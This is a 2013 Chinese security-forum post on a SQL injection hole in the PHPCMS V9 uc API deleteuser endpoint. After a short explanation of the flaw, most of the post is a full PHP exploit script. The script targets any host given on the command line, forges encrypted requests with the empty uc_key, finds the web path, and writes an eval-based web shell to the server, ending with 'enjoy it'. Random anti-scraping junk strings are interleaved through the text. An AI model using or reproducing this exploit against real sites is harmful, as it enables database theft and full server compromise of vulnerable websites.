找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1796|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
% ~( G, y5 j, |& o+ g1 R4 v5 ^5 r; v8 M+ d  u5 e
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 I0 r  h% c8 r; Q7 e$ k9 K

& f% |$ a  m- L& x6 r漏洞分析:9 j! A, U- s1 M
1.未启用ucenter服务的情况下uc_key为空
+ a* t6 r- l- u# r: Rdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
1 J0 @: Z  J; j2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
/ l0 h! ?* b) }* ?9 M    public function deleteuser($get,$post) {) F5 D- e5 X+ q% ^0 K
        pc_base::load_app_func('global', 'admin');
7 L1 D( {: y0 x" \. T2 v        pc_base::load_app_class('messagequeue', 'admin' , 0);( W5 U& }/ J2 t
        $ids = new_stripslashes($get['ids']);& a& R! w- u. u7 D1 o, H2 {" N
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");% a8 b5 U* g* {3 i' I+ r) O# k# W
SQL语句为6 O) I, ^7 y0 }9 V  c; g% [" q
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
; o* _& b8 y9 p( M* F" |. h2 ]1 C
1 N7 h. A5 a5 y  B: b5 |利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell0 \3 h: ~& m5 V: H
<?php
5 J; E6 B9 m  K& y+ r" ~) C4 h  Vprint_r('
6 ~4 f% I& H8 W---------------------------------------------------------------------------) d- N1 N  j. H1 L0 N* H( c
PHPcms (v9 or Old Version) uc api sql injection 0day
5 j: g4 k# d, ]( G% X' C8 x: Cby rayh4c#80sec.com1 c$ q) `1 J: Y6 E0 g: s
---------------------------------------------------------------------------
( L4 E; }' k: [4 O');$ x) s* I% n8 t6 N% w: s
( G4 o+ @/ s4 g$ [* A! {4 q
if ($argc<3) {5 U/ X" o  T5 m+ |1 l
    print_r('# `+ H2 y9 J" l( K9 e
---------------------------------------------------------------------------2 g. g( _2 u/ t8 S6 z: @7 q7 G
Usage: php '.$argv[0].' host path OPTIONS
8 h+ O. S' ^' e2 ohost:      target server (ip/hostname)
' i2 |% u7 U6 u9 Spath:      path to phpcms9 U( _# z4 d2 |* x$ S. q% Q# {
Options:  C3 W. C5 Q9 R
-p[port]:    specify a port other than 80
" E$ k/ Z8 p9 E7 m3 p -P[ip:port]: specify a proxy1 k3 m( n: x& @7 ]$ D
Example:
) t4 f4 g9 l8 Aphp '.$argv[0].' localhost /
% u; D8 w, n+ Tphp '.$argv[0].' localhost /phpcms/ -p81
7 [* Y8 y  z7 b( C* jphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
% o0 N/ q4 g; F: a' T: R% U---------------------------------------------------------------------------
4 G4 q1 s3 K) T');
* R/ F- L: n. D5 F    die;2 o# j. k, |5 j3 a4 i8 y+ e
}
3 l' M* z; `: h
0 u. [/ ?, Y! A' rerror_reporting(7);
% C; E" }0 d4 @; Q: x9 Wini_set("max_execution_time",0);
  w" p" z2 ~1 l1 g+ y1 [ini_set("default_socket_timeout",5);+ e9 d9 [1 l: i9 _7 D! `5 j2 o

1 N. Y9 n0 v  g' [" C: \function quick_dump($string)
3 B/ k8 c$ X6 P{
7 n, m2 J% ?9 v) G4 k8 R: w5 ~/ r  $result='';$exa='';$cont=0;
7 @0 H9 W' P4 K( e0 {  for ($i=0; $i<=strlen($string)-1; $i++)& c+ F- P) e9 U( ?, d
  {1 }$ B4 S( U% p/ p; Z
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))& a7 p* H% l4 G% b+ ~. t! Q
   {$result.="  .";}
* e& a. e8 V. g, \. q) j   else6 w2 Z7 {( z0 K! E  |% `( h' S
   {$result.="  ".$string[$i];}( {+ q$ \3 E: [8 L7 a
   if (strlen(dechex(ord($string[$i])))==2)
/ F; h! \3 v3 L$ J( m* S# q   {$exa.=" ".dechex(ord($string[$i]));}
- R( d- l, M# _& e$ k& [3 Q; U& s   else( o% m" X+ Y4 ]8 Z$ `+ x6 U. ?
   {$exa.=" 0".dechex(ord($string[$i]));}
: o( C3 o, p& t' z- D. M   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% M9 Z: Q) m6 [; D, `/ y) [$ k  }0 G8 `. j& n& ~+ [1 y& n6 O
return $exa."\r\n".$result;! `- H! H9 I& {3 B% q* K' A
}/ X  P( H; U2 y! k
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';0 f; X: H0 N- M0 B* K

: @; b  {" H! c# J: mfunction send($packet)
* W' K' @+ h) Y- N% y3 x4 T, ~- U{# t! v+ S/ C1 Z  r3 a0 M3 e. p
  global $proxy, $host, $port, $html, $proxy_regex;0 G4 C4 S8 F/ S
  if ($proxy=='') {/ f- O0 \- i2 Y, J: v
    $ock=fsockopen(gethostbyname($host),$port);2 G& ?( H' B. I" }" J, d
    if (!$ock) {8 o2 j# [6 P) z
      echo 'No response from '.$host.':'.$port; die;
8 c* t$ T- P4 y( b) O    }: x, E+ C  F+ b
  }5 p" L6 ]( d+ z, |# _
  else {
' d8 W" D3 u2 g2 s( E; p        $c = preg_match($proxy_regex,$proxy);) r5 Z' |, m# _- V" t& E% Y4 v6 _
    if (!$c) {. D# A7 j9 ]: S* Z* u
      echo 'Not a valid proxy...';die;  P' c( `  S) J$ q# J9 H- I8 t
    }
2 u) K& f. i+ R. R% X6 M* q6 z- U    $parts=explode(':',$proxy);7 S, k3 R: |7 m' q: _
    $parts[1]=(int)$parts[1];* ?4 W$ g! S& t0 t, @6 E
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
# U6 O  a5 a' ]: t) S# S    $ock=fsockopen($parts[0],$parts[1]);8 g1 d9 D& D1 {4 P, B* Y2 ^
    if (!$ock) {
! O$ B' j6 \! r( q, Y. r5 e. @; R  R      echo 'No response from proxy...';die;
+ P3 ?& t( S3 e        }
/ W+ u* K, D; U  }- C( E% `: H! k4 ~
  fputs($ock,$packet);
* g& u9 e, f0 x3 x% ?! k% l  if ($proxy=='') {
. O% d5 L$ a; v* B" Z' w    $html='';
% Q. ~$ W1 G7 Q" H9 R' C8 S    while (!feof($ock)) {) ?, b6 K9 ~! n0 ?" k
      $html.=fgets($ock);
6 {9 ?# i  C3 Y1 A8 [    }
9 s# E, [" K: {% f# a9 K  }
7 ]$ w5 _9 L, W" `! d- G  else {4 k0 |1 J) W% }. p5 i2 R
    $html='';
1 F* v% Z* e/ W1 }    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {7 S" h5 f* C: t& w$ J: i- u# a  A2 R
      $html.=fread($ock,1);
5 L" U* e0 m3 o4 e    }
% D) O1 |; c# w0 ^+ y4 h: C( r8 X  }
/ P0 E* t4 F/ z! }  fclose($ock);4 [5 P. \4 X! f/ I
}+ s0 P: J7 ~4 b" O9 Y2 m6 ^
' u7 K8 _5 u: a% r
$host=$argv[1];
: V" b: y/ b6 R- f) R. ~$path=$argv[2];9 ]$ P- h! M' Q& w4 c+ A8 @
$port=80;
3 i  k% k5 u' i! l9 P6 D) d$proxy="";
( D6 j: s6 O7 lfor ($i=3; $i<$argc; $i++){
+ x' o, r2 F' R1 N1 {$temp=$argv[$i][0].$argv[$i][1];  V& R0 n- Y, i4 m4 X# ~
if ($temp=="-p")
' c$ ]8 E* y' ^% b) ~1 g{
, I7 n5 p& |% J& @  $port=(int)str_replace("-p","",$argv[$i]);
  \* F6 S$ W0 z0 D0 f$ ^2 P}
# W( s5 y# h: ?: \" ~2 A; pif ($temp=="-P")# p7 h1 q% L" `1 J3 i& m
{! D9 }! w+ v8 y6 `: |" R% s" j
  $proxy=str_replace("-P","",$argv[$i]);+ S6 \" P0 ~2 g, ?  i4 @5 G
}1 i  N! x/ Z  F* J6 x, L
}; v% D0 D- Z. X! A" l# A% p4 _8 Q

/ O" z* y, r) c' J, L. S9 {6 tif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
7 j8 U3 ]  s1 D* n) f8 @2 D: aif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}+ ?4 ~# @. c/ U- y

! e' q. \' A+ j9 v' mfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {" m, U. F( f: P- v9 h9 u

$ _, B+ T' x* N    $ckey_length = 4;' \$ _0 H0 ~7 D  i' J

$ ?2 r& W. t" M0 E    $key = md5($key ? $key : '');
# Q: G3 K! ]1 x3 v* N& i    $keya = md5(substr($key, 0, 16));* N0 b, Z9 `+ l) z  Z
    $keyb = md5(substr($key, 16, 16));
* l* a5 H' r: _1 N+ K: Z    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
, Z$ c8 q0 r+ M3 g) \7 K7 }) i% O9 {& I) Y
    $cryptkey = $keya.md5($keya.$keyc);
6 S, }4 V, a+ U2 ?  x* m+ n    $key_length = strlen($cryptkey);+ j/ S2 t7 V0 z1 v) l7 L/ {4 N
4 [$ j' I+ [( S8 C8 ]
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
) O, \$ E$ A9 z  I2 s    $string_length = strlen($string);
2 @  L$ R0 I' F, M  D+ @$ r
+ O' w5 S7 q* P! d' W    $result = '';
  Z8 ^- _* C$ Z* S0 ]' D# K& P' a    $box = range(0, 255);9 n  c+ C0 a& X1 F) D" y6 [
6 c) o( z0 \, p" O
    $rndkey = array();* S0 ?% H! g$ q; Y# @/ ~, T" u+ W
    for($i = 0; $i <= 255; $i++) {, G4 J4 e( k% g+ a
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);& J7 t" t3 @5 X4 H$ K+ E
    }) ~) _/ T) @$ I1 @  @

- @6 s) c1 a! l& S$ z4 ]- F9 V  r# ~    for($j = $i = 0; $i < 256; $i++) {7 s2 B+ U$ Q2 c
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;# I5 u, L+ d( Y/ m9 ^
        $tmp = $box[$i];
# ]) Q/ U; P4 @- o2 b        $box[$i] = $box[$j];* W2 P4 E; f( e# Z4 A! l$ p
        $box[$j] = $tmp;
' Y' N. U- g' s$ p+ o    }
8 O. b0 C! X0 o4 x; b
+ P# j: h. M7 A7 ]    for($a = $j = $i = 0; $i < $string_length; $i++) {
# `( C0 z9 U% K4 Y% k        $a = ($a + 1) % 256;+ B3 N1 c" L" y# ~( D8 |) K
        $j = ($j + $box[$a]) % 256;
% t0 A$ T8 R/ e; ]) \" I3 \        $tmp = $box[$a];
0 [* L+ o6 U7 V/ X% N' E        $box[$a] = $box[$j];
0 v! C7 ?- n8 t5 E        $box[$j] = $tmp;# ?) P& j4 a3 ]1 h# E
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
$ L: F! I, |2 ~9 A. H( e    }) z' O2 ?7 R4 O: L& [
! z  T) h6 _0 r" ?6 W
    if($operation == 'DECODE') {
! h; v/ `) Y2 V- b  l        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
' @: f- @0 n( d: F5 @! V: E! J            return substr($result, 26);
8 H$ r6 H8 P4 c+ f5 l5 X! q9 @        } else {
- ]: F) e/ e' m1 t            return '';# U6 ~' S* r, d' U( r
        }9 D& X5 t8 t% C0 I  c1 Z9 t- d3 M7 l! l
    } else {
8 W+ K$ f, c8 l% p. T9 M+ z7 W5 ^        return $keyc.str_replace('=', '', base64_encode($result));8 w% L3 @4 f+ G. C+ w- w+ M
    }
1 T7 ], O4 S9 y' @. a7 o$ Z
' d, J( G, _1 w1 l3 M/ ^}
% ~$ m( \: I2 q' G4 u& S8 L
) W, G( H2 B+ F# O$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
  a& _5 k  a3 J& K3 z" _( h- b$SQL = urlencode(authcode($SQL, "ENCODE", ""));- |* j# m! j, ~" n
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
( P0 {( o3 k% X. T8 k1 `2 R$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
: w2 o& E1 d: g+ }) O$packet.="User-Agent: Mozilla/5.0\r\n";" y+ U* c9 q5 X& W: x$ p
$packet.="Host: ".$host."\r\n";2 Z  y- [) a: x: g9 P. X
$packet.="Connection: Close\r\n\r\n";
! T0 |# O. R8 T! S6 k1 u  fsend($packet);
  y  L, j4 F( R9 U* a8 Q4 S3 ?0 Jif(strpos($html,"MySQL Errno") > 0){" D. g* V' ~6 `0 D# N# M' }
echo "[2] 发现存在SQL注入漏洞"."\n";' K* a8 e3 ~; C# u9 R7 j
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";7 W1 {  y5 Q) D0 j' I1 X
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";9 R9 q9 Z, ]0 l( h* p5 T( K$ I) G) w
$packet.="User-Agent: Mozilla/5.0\r\n";& O7 ~; c7 M7 S. u4 |3 p
$packet.="Host: ".$host."\r\n";
% {: m' a- X- @# A9 M$packet.="Connection: Close\r\n\r\n";# R3 w! Q4 I6 R( J9 u+ h# h1 x# g
send($packet);
, G/ y& c' q8 A3 I, U1 B7 w1 V; V6 fpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
3 b, i, O7 n9 G( R. O4 {4 {- v//print_r($matches);
! F5 e& R, r# ]7 b+ g8 |& D" vif(!empty($matches)){& p! ~- m: S0 \6 y/ s/ S
echo "[4] 得到web路径 " . $matches[0]."\n";
) j" S' h: ^' R) c0 @4 R1 Z$ hecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
1 ~# Z  `" \8 j, A1 L$SQL = "time=999999999999999999999999&ids=1)";- C3 m- @0 E  @, J
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- u/ |) B* M% p
$SQL.="&action=deleteuser";
; r  O" Q% ?* d$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 Q' U* g  p6 q8 G. @
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
2 f+ j4 c3 _( `, Q$ t; U$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";, `' d& i# F- L. v2 F" o
$packet.="User-Agent: Mozilla/5.0\r\n";# b- P2 @( R, o0 X* e/ @& E. N3 C# T
$packet.="Host: ".$host."\r\n";
: V8 Q0 i4 `* A4 |8 R- y$packet.="Connection: Close\r\n\r\n";
2 d! ?+ [3 F5 t+ ]7 Ksend($packet);
5 J* Z3 V5 x* F0 t; f7 mif(strpos($html,"Access denied") > 0){7 m; E" ]& m' H$ ~, j3 E
echo "[-] MYSQL权限过低 禁止写入文件 ";, i1 `$ L0 x  a& s& C! ^' z! r
die;
$ {( S! i. Z0 X- Q; ~3 k3 M}
& Y1 {# Q% d4 }6 Cecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";) }2 O5 S0 H2 H2 s+ o
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
4 S9 I& O: Z0 s$packet.="User-Agent: Mozilla/5.0\r\n";
5 ~! f# i: k# G4 m$ W* d* [# n+ p$packet.="Host: ".$host."\r\n";
1 I4 |" y4 Q9 R" W, O$ L  s) N9 V$packet.="Connection: Close\r\n\r\n";' S8 w/ v; u4 h. C6 }& N# @) y& Q
send($packet);
8 L* K9 ]# u& M' `* m, f$ t# }& ]if(strpos($html,"<title>phpinfo()</title>") > 0){
# m) O' q& P& Necho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";. l* V5 B4 M5 i; L9 W( k4 d
}
2 |$ S3 D8 `# C}else{
+ H8 M' \* I! ^echo "[-]未取到web路径 ";
/ y  e1 B- ^6 Z4 @+ m% t}/ x% i1 f  f: g8 \5 K
}else{1 b0 ?# f( \" p  c
echo "[*]不存在SQL注入漏洞"."\n";
* f1 Y8 p. x0 H+ h# X; L; c% _& J}
' o. w* A2 P# `& R; ]; ^, Z9 r6 ^7 L
?>
/ ~: Q$ M3 n9 r+ {7 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表